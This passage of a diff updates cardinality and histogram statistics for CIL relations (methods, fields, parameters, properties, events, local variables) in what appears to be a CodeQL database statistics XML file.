<b>3</b> -<v>93837</v> +<v>93446</v> </b> <b> <a>3</a> <b>4</b> -<v>46464</v> +<v>46271</v> </b> <b> <a>4</a> <b>5</b> -<v>23332</v> +<v>23235</v> </b> <b> <a>5</a> <b>7</b> -<v>28438</v> +<v>28319</v> </b> <b> <a>7</a> <b>1924</b> -<v>26241</v> +<v>26132</v> </b> </bs> </hist> @@ -37477,27 +37681,27 @@ <b> <a>1</a> <b>2</b> -<v>132170</v> +<v>131619</v> </b> <b> <a>2</a> <b>3</b> -<v>38298</v> +<v>38138</v> </b> <b> <a>3</a> <b>5</b> -<v>18871</v> +<v>18792</v> </b> <b> <a>5</a> <b>13</b> -<v>16591</v> +<v>16522</v> </b> <b> <a>13</a> <b>190707</b> -<v>8386</v> +<v>8351</v> </b> </bs> </hist> @@ -37513,22 +37717,22 @@ <b> <a>1</a> <b>2</b> -<v>153775</v> +<v>153134</v> </b> <b> <a>2</a> <b>3</b> -<v>30390</v> +<v>30264</v> </b> <b> <a>3</a> <b>6</b> -<v>19173</v> +<v>19093</v> </b> <b> <a>6</a> <b>28461</b> -<v>10978</v> +<v>10932</v> </b> </bs> </hist> @@ -37544,22 +37748,22 @@ <b> <a>1</a> <b>2</b> -<v>145613</v> +<v>145006</v> </b> <b> <a>2</a> <b>3</b> -<v>35443</v> +<v>35295</v> </b> <b> <a>3</a> <b>5</b> -<v>17577</v> +<v>17504</v> </b> <b> <a>5</a> <b>62018</b> -<v>15683</v> +<v>15618</v> </b> </bs> </hist> @@ -37569,15 +37773,15 @@ </relation> <relation> <name>cil_method_source_declaration</name> -<cardinality>2110238</cardinality> +<cardinality>2101441</cardinality> <columnsizes> <e> <k>method</k> -<v>2110238</v> +<v>2101441</v> </e> <e> <k>source</k> -<v>1867257</v> +<v>1859473</v> </e> </columnsizes> <dependencies> @@ -37591,7 +37795,7 @@ <b> <a>1</a> <b>2</b> -<v>2110238</v> +<v>2101441</v> </b> </bs> </hist> @@ -37607,12 +37811,12 @@ <b> <a>1</a> <b>2</b> -<v>1762158</v> +<v>1754813</v> </b> <b> <a>2</a> <b>1021</b> -<v>105098</v> +<v>104660</v> </b> </bs> </hist> @@ -37622,19 +37826,19 @@ </relation> <relation> <name>cil_method_implementation</name> -<cardinality>1729473</cardinality> +<cardinality>1722264</cardinality> <columnsizes> <e> <k>id</k> -<v>1729473</v> +<v>1722264</v> </e> <e> <k>method</k> -<v>1642518</v> +<v>1635671</v> </e> <e> <k>location</k> -<v>3099</v> +<v>3086</v> </e> </columnsizes> <dependencies> @@ -37648,7 +37852,7 @@ <b> <a>1</a> <b>2</b> -<v>1729473</v> +<v>1722264</v> </b> </bs> </hist> @@ -37664,7 +37868,7 @@ <b> <a>1</a> <b>2</b> -<v>1729473</v> +<v>1722264</v> </b> </bs> </hist> @@ -37680,12 +37884,12 @@ <b> <a>1</a> <b>2</b> -<v>1555563</v> +<v>1549078</v> </b> <b> <a>2</a> <b>3</b> -<v>86955</v> +<v>86592</v> </b> </bs> </hist> @@ -37701,12 +37905,12 @@ <b> <a>1</a> <b>2</b> -<v>1555563</v> +<v>1549078</v> </b> <b> <a>2</a> <b>3</b> -<v>86955</v> +<v>86592</v> </b> </bs> </hist> @@ -37722,67 +37926,67 @@ <b> <a>1</a> <b>11</b> -<v>273</v> +<v>272</v> </b> <b> <a>11</a> <b>22</b> -<v>239</v> +<v>238</v> </b> <b> <a>22</a> <b>36</b> -<v>239</v> +<v>238</v> </b> <b> <a>36</a> <b>50</b> -<v>234</v> +<v>233</v> </b> <b> <a>50</a> <b>74</b> -<v>244</v> +<v>243</v> </b> <b> <a>74</a> <b>104</b> -<v>248</v> +<v>247</v> </b> <b> <a>104</a> <b>133</b> -<v>239</v> +<v>238</v> </b> <b> <a>133</a> <b>192</b> -<v>234</v> +<v>233</v> </b> <b> <a>192</a> <b>271</b> -<v>234</v> +<v>233</v> </b> <b> <a>271</a> <b>365</b> -<v>248</v> +<v>247</v> </b> <b> <a>372</a> <b>654</b> -<v>234</v> +<v>233</v> </b> <b> <a>682</a> <b>1597</b> -<v>239</v> +<v>238</v> </b> <b> <a>1599</a> <b>33053</b> -<v>190</v> +<v>189</v> </b> </bs> </hist> @@ -37798,67 +38002,67 @@ <b> <a>1</a> <b>11</b> -<v>273</v> +<v>272</v> </b> <b> <a>11</a> <b>22</b> -<v>239</v> +<v>238</v> </b> <b> <a>22</a> <b>36</b> -<v>239</v> +<v>238</v> </b> <b> <a>36</a> <b>50</b> -<v>234</v> +<v>233</v> </b> <b> <a>50</a> <b>74</b> -<v>244</v> +<v>243</v> </b> <b> <a>74</a> <b>104</b> -<v>248</v> +<v>247</v> </b> <b> <a>104</a> <b>133</b> -<v>239</v> +<v>238</v> </b> <b> <a>133</a> <b>192</b> -<v>234</v> +<v>233</v> </b> <b> <a>192</a> <b>271</b> -<v>234</v> +<v>233</v> </b> <b> <a>271</a> <b>365</b> -<v>248</v> +<v>247</v> </b> <b> <a>372</a> <b>654</b> -<v>234</v> +<v>233</v> </b> <b> <a>682</a> <b>1597</b> -<v>239</v> +<v>238</v> </b> <b> <a>1599</a> <b>33053</b> -<v>190</v> +<v>189</v> </b> </bs> </hist> @@ -37868,15 +38072,15 @@ </relation> <relation> <name>cil_implements</name> -<cardinality>107285</cardinality> +<cardinality>106838</cardinality> <columnsizes> <e> <k>id</k> -<v>106524</v> +<v>106080</v> </e> <e> <k>decl</k> -<v>17758</v> +<v>17684</v> </e> </columnsizes> <dependencies> @@ -37890,12 +38094,12 @@ <b> <a>1</a> <b>2</b> -<v>105762</v> +<v>105321</v> </b> <b> <a>2</a> <b>3</b> -<v>761</v> +<v>758</v> </b> </bs> </hist> @@ -37911,27 +38115,27 @@ <b> <a>1</a> <b>2</b> -<v>11558</v> +<v>11510</v> </b> <b> <a>2</a> <b>3</b> -<v>2709</v> +<v>2697</v> </b> <b> <a>3</a> <b>5</b> -<v>1581</v> +<v>1574</v> </b> <b> <a>5</a> <b>18</b> -<v>1332</v> +<v>1327</v> </b> <b> <a>18</a> <b>2180</b> -<v>575</v> +<v>573</v> </b> </bs> </hist> @@ -37941,23 +38145,23 @@ </relation> <relation> <name>cil_field</name> -<cardinality>1010513</cardinality> +<cardinality>1006301</cardinality> <columnsizes> <e> <k>id</k> -<v>1010513</v> +<v>1006301</v> </e> <e> <k>parent</k> -<v>201553</v> +<v>200712</v> </e> <e> <k>name</k> -<v>361595</v> +<v>360088</v> </e> <e> <k>field_type</k> -<v>166197</v> +<v>165505</v> </e> </columnsizes> <dependencies> @@ -37971,7 +38175,7 @@ <b> <a>1</a> <b>2</b> -<v>1010513</v> +<v>1006301</v> </b> </bs> </hist> @@ -37987,7 +38191,7 @@ <b> <a>1</a> <b>2</b> -<v>1010513</v> +<v>1006301</v> </b> </bs> </hist> @@ -38003,7 +38207,7 @@ <b> <a>1</a> <b>2</b> -<v>1010513</v> +<v>1006301</v> </b> </bs> </hist> @@ -38019,47 +38223,47 @@ <b> <a>1</a> <b>2</b> -<v>60742</v> +<v>60489</v> </b> <b> <a>2</a> <b>3</b> -<v>41115</v> +<v>40943</v> </b> <b> <a>3</a> <b>4</b> -<v>22336</v> +<v>22243</v> </b> <b> <a>4</a> <b>5</b> -<v>15512</v> +<v>15448</v> </b> <b> <a>5</a> <b>6</b> -<v>11734</v> +<v>11685</v> </b> <b> <a>6</a> <b>8</b> -<v>16981</v> +<v>16911</v> </b> <b> <a>8</a> <b>12</b> -<v>17889</v> +<v>17815</v> </b> <b> <a>12</a> <b>227</b> -<v>15122</v> +<v>15059</v> </b> <b> <a>237</a> <b>4205</b> -<v>117</v> +<v>116</v> </b> </bs> </hist> @@ -38075,47 +38279,47 @@ <b> <a>1</a> <b>2</b> -<v>60742</v> +<v>60489</v> </b> <b> <a>2</a> <b>3</b> -<v>41115</v> +<v>40943</v> </b> <b> <a>3</a> <b>4</b> -<v>22336</v> +<v>22243</v> </b> <b> <a>4</a> <b>5</b> -<v>15512</v> +<v>15448</v> </b> <b> <a>5</a> <b>6</b> -<v>11734</v> +<v>11685</v> </b> <b> <a>6</a> <b>8</b> -<v>16981</v> +<v>16911</v> </b> <b> <a>8</a> <b>12</b> -<v>17889</v> +<v>17815</v> </b> <b> <a>12</a> <b>227</b> -<v>15122</v> +<v>15059</v> </b> <b> <a>237</a> <b>4205</b> -<v>117</v> +<v>116</v> </b> </bs> </hist> @@ -38131,37 +38335,37 @@ <b> <a>1</a> <b>2</b> -<v>70549</v> +<v>70255</v> </b> <b> <a>2</a> <b>3</b> -<v>59878</v> +<v>59629</v> </b> <b> <a>3</a> <b>4</b> -<v>20462</v> +<v>20377</v> </b> <b> <a>4</a> <b>5</b> -<v>11485</v> +<v>11437</v> </b> <b> <a>5</a> <b>7</b> -<v>15717</v> +<v>15652</v> </b> <b> <a>7</a> <b>11</b> -<v>16088</v> +<v>16021</v> </b> <b> <a>11</a> <b>132</b> -<v>7370</v> +<v>7340</v> </b> </bs> </hist> @@ -38177,22 +38381,22 @@ <b> <a>1</a> <b>2</b> -<v>262383</v> +<v>261289</v> </b> <b> <a>2</a> <b>3</b> -<v>55466</v> +<v>55234</v> </b> <b> <a>3</a> <b>7</b> -<v>30132</v> +<v>30006</v> </b> <b> <a>7</a> <b>5664</b> -<v>13613</v> +<v>13557</v> </b> </bs> </hist> @@ -38208,22 +38412,22 @@ <b> <a>1</a> <b>2</b> -<v>262383</v> +<v>261289</v> </b> <b> <a>2</a> <b>3</b> -<v>55466</v> +<v>55234</v> </b> <b> <a>3</a> <b>7</b> -<v>30132</v> +<v>30006</v> </b> <b> <a>7</a> <b>5664</b> -<v>13613</v> +<v>13557</v> </b> </bs> </hist> @@ -38239,17 +38443,17 @@ <b> <a>1</a> <b>2</b> -<v>306022</v> +<v>304746</v> </b> <b> <a>2</a> <b>3</b> -<v>34125</v> +<v>33982</v> </b> <b> <a>3</a> <b>2790</b> -<v>21448</v> +<v>21358</v> </b> </bs> </hist> @@ -38265,32 +38469,32 @@ <b> <a>1</a> <b>2</b> -<v>82786</v> +<v>82441</v> </b> <b> <a>2</a> <b>3</b> -<v>43853</v> +<v>43670</v> </b> <b> <a>3</a> <b>4</b> -<v>8976</v> +<v>8939</v> </b> <b> <a>4</a> <b>7</b> -<v>15288</v> +<v>15224</v> </b> <b> <a>7</a> <b>31</b> -<v>12564</v> +<v>12512</v> </b> <b> <a>31</a> <b>21103</b> -<v>2728</v> +<v>2717</v> </b> </bs> </hist> @@ -38306,22 +38510,22 @@ <b> <a>1</a> <b>2</b> -<v>96893</v> +<v>96489</v> </b> <b> <a>2</a> <b>3</b> -<v>44580</v> +<v>44394</v> </b> <b> <a>3</a> <b>6</b> -<v>14258</v> +<v>14198</v> </b> <b> <a>6</a> <b>12257</b> -<v>10465</v> +<v>10421</v> </b> </bs> </hist> @@ -38337,27 +38541,27 @@ <b> <a>1</a> <b>2</b> -<v>120055</v> +<v>119554</v> </b> <b> <a>2</a> <b>3</b> -<v>17997</v> +<v>17922</v> </b> <b> <a>3</a> <b>5</b> -<v>13267</v> +<v>13212</v> </b> <b> <a>5</a> <b>20</b> -<v>12491</v> +<v>12439</v> </b> <b> <a>20</a> <b>8901</b> -<v>2386</v> +<v>2376</v> </b> </bs> </hist> @@ -38367,23 +38571,23 @@ </relation> <relation> <name>cil_parameter</name> -<cardinality>4556386</cardinality> +<cardinality>4537393</cardinality> <columnsizes> <e> <k>id</k> -<v>4556386</v> +<v>4537393</v> </e> <e> <k>method</k> -<v>2225099</v> +<v>2215824</v> </e> <e> <k>index</k> -<v>200</v> +<v>199</v> </e> <e> <k>param_type</k> -<v>553698</v> +<v>551390</v> </e> </columnsizes> <dependencies> @@ -38397,7 +38601,7 @@ <b> <a>1</a> <b>2</b> -<v>4556386</v> +<v>4537393</v> </b> </bs> </hist> @@ -38413,7 +38617,7 @@ <b> <a>1</a> <b>2</b> -<v>4556386</v> +<v>4537393</v> </b> </bs> </hist> @@ -38429,7 +38633,7 @@ <b> <a>1</a> <b>2</b> -<v>4556386</v> +<v>4537393</v> </b> </bs> </hist> @@ -38445,27 +38649,27 @@ <b> <a>1</a> <b>2</b> -<v>902500</v> +<v>898738</v> </b> <b> <a>2</a> <b>3</b> -<v>789103</v> +<v>785814</v> </b> <b> <a>3</a> <b>4</b> -<v>325323</v> +<v>323966</v> </b> <b> <a>4</a> <b>7</b> -<v>175301</v> +<v>174570</v> </b> <b> <a>7</a> <b>42</b> -<v>32870</v> +<v>32733</v> </b> </bs> </hist> @@ -38481,27 +38685,27 @@ <b> <a>1</a> <b>2</b> -<v>902500</v> +<v>898738</v> </b> <b> <a>2</a> <b>3</b> -<v>789103</v> +<v>785814</v> </b> <b> <a>3</a> <b>4</b> -<v>325323</v> +<v>323966</v> </b> <b> <a>4</a> <b>7</b> -<v>175301</v> +<v>174570</v> </b> <b> <a>7</a> <b>42</b> -<v>32870</v> +<v>32733</v> </b> </bs> </hist> @@ -38517,22 +38721,22 @@ <b> <a>1</a> <b>2</b> -<v>950635</v> +<v>946672</v> </b> <b> <a>2</a> <b>3</b> -<v>799632</v> +<v>796299</v> </b> <b> <a>3</a> <b>4</b> -<v>313661</v> +<v>312354</v> </b> <b> <a>4</a> <b>23</b> -<v>161170</v> +<v>160498</v> </b> </bs> </hist> @@ -38781,42 +38985,42 @@ <b> <a>1</a> <b>2</b> -<v>185796</v> +<v>185021</v> </b> <b> <a>2</a> <b>3</b> -<v>137354</v> +<v>136781</v> </b> <b> <a>3</a> <b>4</b> -<v>45112</v> +<v>44924</v> </b> <b> <a>4</a> <b>5</b> -<v>38532</v> +<v>38372</v> </b> <b> <a>5</a> <b>7</b> -<v>43946</v> +<v>43763</v> </b> <b> <a>7</a> <b>11</b> -<v>42852</v> +<v>42674</v> </b> <b> <a>11</a> <b>27</b> -<v>41969</v> +<v>41794</v> </b> <b> <a>27</a> <b>58010</b> -<v>18133</v> +<v>18058</v> </b> </bs> </hist> @@ -38832,42 +39036,42 @@ <b> <a>1</a> <b>2</b> -<v>189008</v> +<v>188220</v> </b> <b> <a>2</a> <b>3</b> -<v>136051</v> +<v>135484</v> </b> <b> <a>3</a> <b>4</b> -<v>45527</v> +<v>45337</v> </b> <b> <a>4</a> <b>5</b> -<v>37312</v> +<v>37157</v> </b> <b> <a>5</a> <b>7</b> -<v>44395</v> +<v>44210</v> </b> <b> <a>7</a> <b>11</b> -<v>42911</v> +<v>42732</v> </b> <b> <a>11</a> <b>28</b> -<v>41808</v> +<v>41633</v> </b> <b> <a>28</a> <b>46068</b> -<v>16684</v> +<v>16614</v> </b> </bs> </hist> @@ -38883,22 +39087,22 @@ <b> <a>1</a> <b>2</b> -<v>386402</v> +<v>384791</v> </b> <b> <a>2</a> <b>3</b> -<v>110063</v> +<v>109604</v> </b> <b> <a>3</a> <b>4</b> -<v>44561</v> +<v>44375</v> </b> <b> <a>4</a> <b>36</b> -<v>12671</v> +<v>12618</v> </b> </bs> </hist> @@ -38908,37 +39112,37 @@ </relation> <relation> <name>cil_parameter_in</name> -<cardinality>32421</cardinality> +<cardinality>32286</cardinality> <columnsizes> <e> <k>id</k> -<v>32421</v> +<v>32286</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_parameter_out</name> -<cardinality>46123</cardinality> +<cardinality>45930</cardinality> <columnsizes> <e> <k>id</k> -<v>46123</v> +<v>45930</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_setter</name> -<cardinality>106988</cardinality> +<cardinality>106542</cardinality> <columnsizes> <e> <k>prop</k> -<v>106988</v> +<v>106542</v> </e> <e> <k>method</k> -<v>106988</v> +<v>106542</v> </e> </columnsizes> <dependencies> @@ -38952,7 +39156,7 @@ <b> <a>1</a> <b>2</b> -<v>106988</v> +<v>106542</v> </b> </bs> </hist> @@ -38968,7 +39172,7 @@ <b> <a>1</a> <b>2</b> -<v>106988</v> +<v>106542</v> </b> </bs> </hist> @@ -38978,11 +39182,11 @@ </relation> <relation> <name>cil_custom_modifiers</name> -<cardinality>4114</cardinality> +<cardinality>4097</cardinality> <columnsizes> <e> <k>id</k> -<v>4114</v> +<v>4097</v> </e> <e> <k>modifier</k> @@ -39004,7 +39208,7 @@ <b> <a>1</a> <b>2</b> -<v>4114</v> +<v>4097</v> </b> </bs> </hist> @@ -39020,7 +39224,7 @@ <b> <a>1</a> <b>2</b> -<v>4114</v> +<v>4097</v> </b> </bs> </hist> @@ -39144,15 +39348,15 @@ </relation> <relation> <name>cil_getter</name> -<cardinality>380178</cardinality> +<cardinality>378594</cardinality> <columnsizes> <e> <k>prop</k> -<v>380178</v> +<v>378594</v> </e> <e> <k>method</k> -<v>380178</v> +<v>378594</v> </e> </columnsizes> <dependencies> @@ -39166,7 +39370,7 @@ <b> <a>1</a> <b>2</b> -<v>380178</v> +<v>378594</v> </b> </bs> </hist> @@ -39182,7 +39386,7 @@ <b> <a>1</a> <b>2</b> -<v>380178</v> +<v>378594</v> </b> </bs> </hist> @@ -39192,15 +39396,15 @@ </relation> <relation> <name>cil_adder</name> -<cardinality>20916</cardinality> +<cardinality>20829</cardinality> <columnsizes> <e> <k>event</k> -<v>20916</v> +<v>20829</v> </e> <e> <k>method</k> -<v>20916</v> +<v>20829</v> </e> </columnsizes> <dependencies> @@ -39214,7 +39418,7 @@ <b> <a>1</a> <b>2</b> -<v>20916</v> +<v>20829</v> </b> </bs> </hist> @@ -39230,7 +39434,7 @@ <b> <a>1</a> <b>2</b> -<v>20916</v> +<v>20829</v> </b> </bs> </hist> @@ -39240,15 +39444,15 @@ </relation> <relation> <name>cil_remover</name> -<cardinality>20916</cardinality> +<cardinality>20829</cardinality> <columnsizes> <e> <k>event</k> -<v>20916</v> +<v>20829</v> </e> <e> <k>method</k> -<v>20916</v> +<v>20829</v> </e> </columnsizes> <dependencies> @@ -39262,7 +39466,7 @@ <b> <a>1</a> <b>2</b> -<v>20916</v> +<v>20829</v> </b> </bs> </hist> @@ -39278,7 +39482,7 @@ <b> <a>1</a> <b>2</b> -<v>20916</v> +<v>20829</v> </b> </bs> </hist> @@ -39336,23 +39540,23 @@ </relation> <relation> <name>cil_property</name> -<cardinality>380725</cardinality> +<cardinality>379138</cardinality> <columnsizes> <e> <k>id</k> -<v>380725</v> +<v>379138</v> </e> <e> <k>parent</k> -<v>93852</v> +<v>93461</v> </e> <e> <k>name</k> -<v>106460</v> +<v>106017</v> </e> <e> <k>property_type</k> -<v>49930</v> +<v>49722</v> </e> </columnsizes> <dependencies> @@ -39366,7 +39570,7 @@ <b> <a>1</a> <b>2</b> -<v>380725</v> +<v>379138</v> </b> </bs> </hist> @@ -39382,7 +39586,7 @@ <b> <a>1</a> <b>2</b> -<v>380725</v> +<v>379138</v> </b> </bs> </hist> @@ -39398,7 +39602,7 @@ <b> <a>1</a> <b>2</b> -<v>380725</v> +<v>379138</v> </b> </bs> </hist> @@ -39414,42 +39618,42 @@ <b> <a>1</a> <b>2</b> -<v>28926</v> +<v>28805</v> </b> <b> <a>2</a> <b>3</b> -<v>22322</v> +<v>22229</v> </b> <b> <a>3</a> <b>4</b> -<v>11436</v> +<v>11389</v> </b> <b> <a>4</a> <b>5</b> -<v>8469</v> +<v>8433</v> </b> <b> <a>5</a> <b>6</b> -<v>5750</v> +<v>5726</v> </b> <b> <a>6</a> <b>9</b> -<v>8678</v> +<v>8642</v> </b> <b> <a>9</a> <b>25</b> -<v>7112</v> +<v>7082</v> </b> <b> <a>25</a> <b>1883</b> -<v>1156</v> +<v>1152</v> </b> </bs> </hist> @@ -39465,42 +39669,42 @@ <b> <a>1</a> <b>2</b> -<v>33680</v> +<v>33540</v> </b> <b> <a>2</a> <b>3</b> -<v>17826</v> +<v>17752</v> </b> <b> <a>3</a> <b>4</b> -<v>11334</v> +<v>11287</v> </b> <b> <a>4</a> <b>5</b> -<v>8478</v> +<v>8443</v> </b> <b> <a>5</a> <b>6</b> -<v>5730</v> +<v>5706</v> </b> <b> <a>6</a> <b>8</b> -<v>6638</v> +<v>6610</v> </b> <b> <a>8</a> <b>15</b> -<v>7229</v> +<v>7199</v> </b> <b> <a>15</a> <b>1883</b> -<v>2933</v> +<v>2921</v> </b> </bs> </hist> @@ -39516,32 +39720,32 @@ <b> <a>1</a> <b>2</b> -<v>35130</v> +<v>34984</v> </b> <b> <a>2</a> <b>3</b> -<v>25812</v> +<v>25704</v> </b> <b> <a>3</a> <b>4</b> -<v>13501</v> +<v>13445</v> </b> <b> <a>4</a> <b>5</b> -<v>8117</v> +<v>8083</v> </b> <b> <a>5</a> <b>8</b> -<v>7771</v> +<v>7738</v> </b> <b> <a>8</a> <b>50</b> -<v>3519</v> +<v>3504</v> </b> </bs> </hist> @@ -39557,27 +39761,27 @@ <b> <a>1</a> <b>2</b> -<v>62763</v> +<v>62501</v> </b> <b> <a>2</a> <b>3</b> -<v>21477</v> +<v>21388</v> </b> <b> <a>3</a> <b>4</b> -<v>6492</v> +<v>6465</v> </b> <b> <a>4</a> <b>8</b> -<v>8776</v> +<v>8739</v> </b> <b> <a>8</a> <b>2134</b> -<v>6950</v> +<v>6921</v> </b> </bs> </hist> @@ -39593,27 +39797,27 @@ <b> <a>1</a> <b>2</b> -<v>62763</v> +<v>62501</v> </b> <b> <a>2</a> <b>3</b> -<v>21550</v> +<v>21461</v> </b> <b> <a>3</a> <b>4</b> -<v>6467</v> +<v>6440</v> </b> <b> <a>4</a> <b>8</b> -<v>8791</v> +<v>8754</v> </b> <b> <a>8</a> <b>1400</b> -<v>6887</v> +<v>6858</v> </b> </bs> </hist> @@ -39629,17 +39833,17 @@ <b> <a>1</a> <b>2</b> -<v>89595</v> +<v>89222</v> </b> <b> <a>2</a> <b>3</b> -<v>10992</v> +<v>10946</v> </b> <b> <a>3</a> <b>568</b> -<v>5872</v> +<v>5847</v> </b> </bs> </hist> @@ -39655,27 +39859,27 @@ <b> <a>1</a> <b>2</b> -<v>31484</v> +<v>31353</v> </b> <b> <a>2</a> <b>3</b> -<v>7531</v> +<v>7500</v> </b> <b> <a>3</a> <b>4</b> -<v>3187</v> +<v>3174</v> </b> <b> <a>4</a> <b>8</b> -<v>4373</v> +<v>4355</v> </b> <b> <a>8</a> <b>15452</b> -<v>3353</v> +<v>3339</v> </b> </bs> </hist> @@ -39691,27 +39895,27 @@ <b> <a>1</a> <b>2</b> -<v>33275</v> +<v>33137</v> </b> <b> <a>2</a> <b>3</b> -<v>7043</v> +<v>7014</v> </b> <b> <a>3</a> <b>4</b> -<v>3050</v> +<v>3038</v> </b> <b> <a>4</a> <b>8</b> -<v>3870</v> +<v>3854</v> </b> <b> <a>8</a> <b>5858</b> -<v>2689</v> +<v>2678</v> </b> </bs> </hist> @@ -39727,22 +39931,22 @@ <b> <a>1</a> <b>2</b> -<v>40011</v> +<v>39845</v> </b> <b> <a>2</a> <b>3</b> -<v>5320</v> +<v>5298</v> </b> <b> <a>3</a> <b>12</b> -<v>3807</v> +<v>3791</v> </b> <b> <a>12</a> <b>6253</b> -<v>790</v> +<v>787</v> </b> </bs> </hist> @@ -39752,23 +39956,23 @@ </relation> <relation> <name>cil_event</name> -<cardinality>20887</cardinality> +<cardinality>20799</cardinality> <columnsizes> <e> <k>id</k> -<v>20887</v> +<v>20799</v> </e> <e> <k>parent</k> -<v>6472</v> +<v>6445</v> </e> <e> <k>name</k> -<v>13091</v> +<v>13037</v> </e> <e> <k>event_type</k> -<v>6809</v> +<v>6781</v> </e> </columnsizes> <dependencies> @@ -39782,7 +39986,7 @@ <b> <a>1</a> <b>2</b> -<v>20887</v> +<v>20799</v> </b> </bs> </hist> @@ -39798,7 +40002,7 @@ <b> <a>1</a> <b>2</b> -<v>20887</v> +<v>20799</v> </b> </bs> </hist> @@ -39814,7 +40018,7 @@ <b> <a>1</a> <b>2</b> -<v>20887</v> +<v>20799</v> </b> </bs> </hist> @@ -39830,17 +40034,17 @@ <b> <a>1</a> <b>2</b> -<v>5755</v> +<v>5731</v> </b> <b> <a>2</a> <b>7</b> -<v>493</v> +<v>490</v> </b> <b> <a>7</a> <b>465</b> -<v>224</v> +<v>223</v> </b> </bs> </hist> @@ -39856,17 +40060,17 @@ <b> <a>1</a> <b>2</b> -<v>5755</v> +<v>5731</v> </b> <b> <a>2</a> <b>7</b> -<v>493</v> +<v>490</v> </b> <b> <a>7</a> <b>465</b> -<v>224</v> +<v>223</v> </b> </bs> </hist> @@ -39882,12 +40086,12 @@ <b> <a>1</a> <b>2</b> -<v>5930</v> +<v>5906</v> </b> <b> <a>2</a> <b>20</b> -<v>488</v> +<v>486</v> </b> <b> <a>30</a> @@ -39908,17 +40112,17 @@ <b> <a>1</a> <b>2</b> -<v>11680</v> +<v>11632</v> </b> <b> <a>2</a> <b>4</b> -<v>966</v> +<v>962</v> </b> <b> <a>4</a> <b>566</b> -<v>444</v> +<v>442</v> </b> </bs> </hist> @@ -39934,17 +40138,17 @@ <b> <a>1</a> <b>2</b> -<v>11680</v> +<v>11632</v> </b> <b> <a>2</a> <b>4</b> -<v>966</v> +<v>962</v> </b> <b> <a>4</a> <b>566</b> -<v>444</v> +<v>442</v> </b> </bs> </hist> @@ -39960,12 +40164,12 @@ <b> <a>1</a> <b>2</b> -<v>12496</v> +<v>12444</v> </b> <b> <a>2</a> <b>566</b> -<v>595</v> +<v>593</v> </b> </bs> </hist> @@ -39981,27 +40185,27 @@ <b> <a>1</a> <b>2</b> -<v>946</v> +<v>943</v> </b> <b> <a>2</a> <b>3</b> -<v>4524</v> +<v>4506</v> </b> <b> <a>3</a> <b>4</b> -<v>585</v> +<v>583</v> </b> <b> <a>4</a> <b>8</b> -<v>575</v> +<v>573</v> </b> <b> <a>8</a> <b>318</b> -<v>175</v> +<v>174</v> </b> </bs> </hist> @@ -40017,17 +40221,17 @@ <b> <a>1</a> <b>2</b> -<v>1425</v> +<v>1419</v> </b> <b> <a>2</a> <b>3</b> -<v>5096</v> +<v>5074</v> </b> <b> <a>3</a> <b>32</b> -<v>287</v> +<v>286</v> </b> </bs> </hist> @@ -40043,27 +40247,27 @@ <b> <a>1</a> <b>2</b> -<v>1313</v> +<v>1307</v> </b> <b> <a>2</a> <b>3</b> -<v>4354</v> +<v>4335</v> </b> <b> <a>3</a> <b>4</b> -<v>497</v> +<v>495</v> </b> <b> <a>4</a> <b>10</b> -<v>532</v> +<v>529</v> </b> <b> <a>10</a> <b>243</b> -<v>112</v> +<v>111</v> </b> </bs> </hist> @@ -40073,23 +40277,23 @@ </relation> <relation> <name>cil_local_variable</name> -<cardinality>1153120</cardinality> +<cardinality>1148313</cardinality> <columnsizes> <e> <k>id</k> -<v>1153120</v> +<v>1148313</v> </e> <e> <k>impl</k> -<v>349373</v> +<v>347916</v> </e> <e> <k>index</k> -<v>693</v> +<v>690</v> </e> <e> <k>var_type</k> -<v>154570</v> +<v>153926</v> </e> </columnsizes> <dependencies> @@ -40103,7 +40307,7 @@ <b> <a>1</a> <b>2</b> -<v>1153120</v> +<v>1148313</v> </b> </bs> </hist> @@ -40119,7 +40323,7 @@ <b> <a>1</a> <b>2</b> -<v>1153120</v> +<v>1148313</v> </b> </bs> </hist> @@ -40135,7 +40339,7 @@ <b> <a>1</a> <b>2</b> -<v>1153120</v> +<v>1148313</v> </b> </bs> </hist> @@ -40151,37 +40355,37 @@ <b> <a>1</a> <b>2</b> -<v>140195</v> +<v>139610</v> </b> <b> <a>2</a> <b>3</b> -<v>62163</v> +<v>61904</v> </b> <b> <a>3</a> <b>4</b> -<v>49423</v> +<v>49216</v> </b> <b> <a>4</a> <b>5</b> -<v>23522</v> +<v>23424</v> </b> <b> <a>5</a> <b>7</b> -<v>31943</v> +<v>31809</v> </b> <b> <a>7</a> <b>12</b> -<v>28916</v> +<v>28796</v> </b> <b> <a>12</a> <b>143</b> -<v>13208</v> +<v>13153</v> </b> </bs> </hist> @@ -40197,37 +40401,37 @@ <b> <a>1</a> <b>2</b> -<v>140195</v> +<v>139610</v> </b> <b> <a>2</a> <b>3</b> -<v>62163</v> +<v>61904</v> </b> <b> <a>3</a> <b>4</b> -<v>49423</v> +<v>49216</v> </b> <b> <a>4</a> <b>5</b> -<v>23522</v> +<v>23424</v> </b> <b> <a>5</a> <b>7</b> -<v>31943</v> +<v>31809</v> </b> <b> <a>7</a> <b>12</b> -<v>28916</v> +<v>28796</v> </b> <b> <a>12</a> <b>143</b> -<v>13208</v> +<v>13153</v> </b> </bs> </hist> @@ -40243,32 +40447,32 @@ <b> <a>1</a> <b>2</b> -<v>168911</v> +<v>168207</v> </b> <b> <a>2</a> <b>3</b> -<v>70163</v> +<v>69871</v> </b> <b> <a>3</a> <b>4</b> -<v>37912</v> +<v>37754</v> </b> <b> <a>4</a> <b>5</b> -<v>20647</v> +<v>20561</v> </b> <b> <a>5</a> <b>7</b> -<v>27750</v> +<v>27634</v> </b> <b> <a>7</a> <b>47</b> -<v>23986</v> +<v>23886</v> </b> </bs> </hist> @@ -40426,7 +40630,7 @@ <b> <a>1</a> <b>2</b> -<v>73</v> +<v>72</v> </b> <b> <a>2</a> @@ -40502,37 +40706,37 @@ <b> <a>1</a> <b>2</b> -<v>81454</v> +<v>81114</v> </b> <b> <a>2</a> <b>3</b> -<v>27315</v> +<v>27201</v> </b> <b> <a>3</a> <b>4</b> -<v>8386</v> +<v>8351</v> </b> <b> <a>4</a> <b>5</b> -<v>11851</v> +<v>11802</v> </b> <b> <a>5</a> <b>8</b> -<v>12813</v> +<v>12759</v> </b> <b> <a>8</a> <b>76</b> -<v>11602</v> +<v>11554</v> </b> <b> <a>76</a> <b>35710</b> -<v>1147</v> +<v>1142</v> </b> </bs> </hist> @@ -40548,32 +40752,32 @@ <b> <a>1</a> <b>2</b> -<v>85495</v> +<v>85139</v> </b> <b> <a>2</a> 